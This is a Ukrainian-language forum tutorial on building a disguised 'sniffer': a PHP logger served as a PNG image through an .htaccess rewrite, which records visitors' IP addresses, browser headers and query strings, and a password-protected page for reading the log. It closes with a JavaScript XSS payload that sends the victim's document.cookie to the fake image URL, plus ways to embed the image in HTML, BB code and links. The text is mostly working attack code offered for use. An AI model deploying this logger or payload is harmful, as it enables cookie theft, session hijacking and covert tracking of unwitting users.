Тема: Пишемо веб сніффер
Мені потрібен був онлайн сніффер для тестування однієї XSS вразливості,в гуглі були тільки такі,які потребували реєстрації,тому вирішив написати свій.
Хто не знає що це - https://ru.wikipedia.org/wiki/Анализатор_трафика
Ми замаскуємо його під png картинку,використовуючи бібліотеку GD та файл .htaccess (якщо сервер Apache)
Для початку створимо каталог з назвою /img/ в кореневому каталозі сервера.
Створимо у ньому наступні файли:
connect.php (файл виводу картинки)
image.png (справжня png картинка,буде прикріплена в архіві)
log.php (файл виводу логу)
base.dat (файл,де зберігатимуться логи)
.htaccess (файл конфігурації сервера)
Файл connect.php,відкриємо та запишемо в нього наступний PHP код:
<?php
header('Content-type: image/png'); //тип контенту: PNG картинка
define('ROOT',(string)$_SERVER['DOCUMENT_ROOT']); //повний шлях до кореневого каталогу
define('NO','Немає'); //якщо дані пусті
define('IP',(string)$_SERVER['REMOTE_ADDR']); //IP адрес
define('UserAgent',(string)$_SERVER['HTTP_USER_AGENT']); //юзерагент,браузер
define('Referer',(string)!empty($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : NO); //реферер (звідки прийшли)
define('Language',(string)$_SERVER['HTTP_ACCEPT_LANGUAGE']); //клієнтська мова
define('RealIP',(string)!empty($_SERVER['HTTP_X_FORWARDED_FOR']) ? $_SERVER['HTTP_X_FORWARDED_FOR'] : NO); //якщо підключення через проксі
define('Method',(string)$_SERVER['REQUEST_METHOD']); //метод підключення
define('QueryString',(string)!empty($_SERVER['QUERY_STRING']) ? $_SERVER['QUERY_STRING'] : NO); //рядок запиту (/query.php?ryadok=zapyt&tak=dali)
define('RequestTime',(int)$_SERVER['REQUEST_TIME']); //час запиту
define('Accept',(string)!empty($_SERVER['HTTP_ACCEPT']) ? $_SERVER['HTTP_ACCEPT'] : NO); //Accept інформація
define('AcceptCharset',(string)!empty($_SERVER['HTTP_ACCEPT_CHARSET']) ? $_SERVER['HTTP_ACCEPT_CHARSET'] : NO); //кодування
define('Connection',(string)!empty($_SERVER['HTTP_CONNECTION']) ? $_SERVER['HTTP_CONNECTION'] : NO); //тип підключення
define('RemoteHost',(string)!empty($_SERVER['REMOTE_HOST']) ? $_SERVER['REMOTE_HOST'] : NO); //хост з якого підключились
define('RemotePort',(int)$_SERVER['REMOTE_PORT']); //порт,з якого підключились
(string)$log = '/img/base.dat'; //файл для запису в лог
(string)$base = IP."|".UserAgent."|".Referer."|".Language."|".RealIP."|".Method."|".QueryString."|".RequestTime."|".Accept."|".AcceptCharset."|".Connection."|".RemoteHost."|".RemotePort."\n"; //дані для запису з розділеннями
file_put_contents(ROOT.'/'.$log,$base,FILE_APPEND); //запис в файл
$image = imagecreatefrompng('image.png'); //створення зображення
imagepng($image); //показ зображення
imagedestroy($image); //звільняємо память
Зберегли? Йдемо далі..
Нам потрібно, щоб файли у форматі .png виконувались сервером як php,для цього нам знадобиться файл .htaccess.
Відкриваємо та записуємо в нього наступне:
AddDefaultCharset UTF-8
Options -Indexes
<Files "*.dat">
deny from all
</Files>
RewriteEngine On
RewriteCond %{REQUEST_METHOD} ^TRACE
RewriteRule .* - [F]
RewriteRule ^logo.png$ connect.php [L,QSA]
Тут ми встановили кодування всіх файлів в UTF-8,зробили виконання файлу connect.php як logo.png,заборонили index'увати (можливість перегляду каталогу,якщо немає індексного файлу) каталог /img/ та заборонили вільний перегляд .dat файлів через браузер. Зберегли.
Далі файл виводу логу log.php (під паролем)
<?php
(string)$MyPassword = 'VTrim'; //пароль для перегляду логу
(string)$GetPassword = $_GET['password']; //пароль в GET
if(isset($GetPassword)) {
if($GetPassword == $MyPassword) {
if(isset($_GET['clean'])) {
file_put_contents('base.dat',null); //очистка логу
header('Location: ?password='.$GetPassword.''); //переадресація
exit;
}
//функція для роботи з датою/часом
function StringTime($str,$msg1,$msg2,$msg3)
{
$str = (int)$str;
$str1 = abs($str) % 100;
$str2 = $str % 10;
if ($str1 > 10 && $str1 < 20) return $str .' '. $msg3;
if ($str2 > 1 && $str2 < 5) return $str .' '. $msg2;
if ($str2 == 1) return $str .' '. $msg1;
return $str .' '. $msg3;
}
function itime($times=NULL){
$time = time();
if(($time-$times)<=60){
$timesp = StringTime((($time-$times)),'секунду','секунди','секунд').' тому';
return $timesp;
}else if(($time-$times)<=3600){$timesp = StringTime((($time-$times)/60),'хвилину','хвилини','хвилин').' тому';
return $timesp;
}
else
{
$today = date('j M Y', $time);
$today = date('j M Y', $time);
$yesterday = date('j M Y', strtotime("-1 day"));
$timesp = date('j M Y в H:i', $times);
$timesp = str_replace($today, 'Сьогодні', $timesp);
$timesp = str_replace($yesterday, 'Вчора', $timesp);
$timesp = strtr($timesp, array('Jan' => 'Січня','Feb' => 'Лютого','Mar' => 'Березня','May' => 'Травня','Apr' => 'Квітня','Jun' => 'Червня','Jul' => 'Липня','Aug' => 'Серпня','Sep' =>
'Вересня','Oct' => 'Жовтня','Nov' => 'Листопада','Dec' => 'Грудня',));
return $timesp;
}
}
(array)$log = file('base.dat'); //массив інформації з файлу
if(!empty($log)) {
echo '<a href="?password='.$GetPassword.'&clean">Очистити лог</a>';
(int)$i = 1; //початок підрахунку записів
foreach($log as $value) //цикл виводу інформації з файлу
{
echo '<table width=100%><td>
<b>Запис N'.($i++).'</b><br>'; //номер запису в файлі
(array)$data = explode('|',$value); //розбиваємо кожен елемент запису
echo 'IP адрес: '.$data['0'].'<br>
Браузер (UserAgent): '.htmlspecialchars($data['1']).'<br>
Рядок запиту: '.htmlspecialchars($data['6']).'<br>
Реферер: '.htmlspecialchars($data['2']).'<br>
Real IP: '.$data['4'].'<br>
Мова: '.$data['3'].'<br>
Тип запиту: '.$data['5'].'<br>
Час запиту: '.itime($data['7']).'<br>
Заголовок Accept: '.$data['8'].'<br>
Тип кодування: '.$data['9'].'<br>
Тип підключення: '.$data['10'].'<br>
Імя віддаленого хоста: '.$data['11'].'<br>
Порт користувача: '.$data['12'].'<br>
</td></table><br>';
}
}
else { echo 'Немає записів'; }
}
else { echo 'Невірний пароль!'; }
}
echo !isset($GetPassword) ? '<table width=20% border=1><td>
<form action = "">
Введіть пароль: <input type="password" name="password">
<input type="submit" value="Увійти">
</form>
</td></table>' : null;
exit;
Звернення до сніфф картинки:
http://test.com/img/logo.png
В html
<img src="http://test.com/img/logo.png" alt="logo">
в JavaScript для кражі cookies (якщо є XSS або прямий доступ до редагування коду)
<script>
img = new Image();
img.src = "http://test.com/img/logo.png?"+document.cookie;
</script>
Куки прилетять в такому вигляді в лог:
Рядок запиту: __gads=ID=599008246a0d2422:T=1384160800:S=ALNI_MaQsXSKu6uwgQ6UdXFsnoTPqHEAAw;%20vc=2
в бб коді
[img]http://test.com/img/logo.png[/img]
Або ж через лінк на картинку
<a href="http://test.com/img/logo.png">Зображення</a>
Ну і сам скрипт нижче..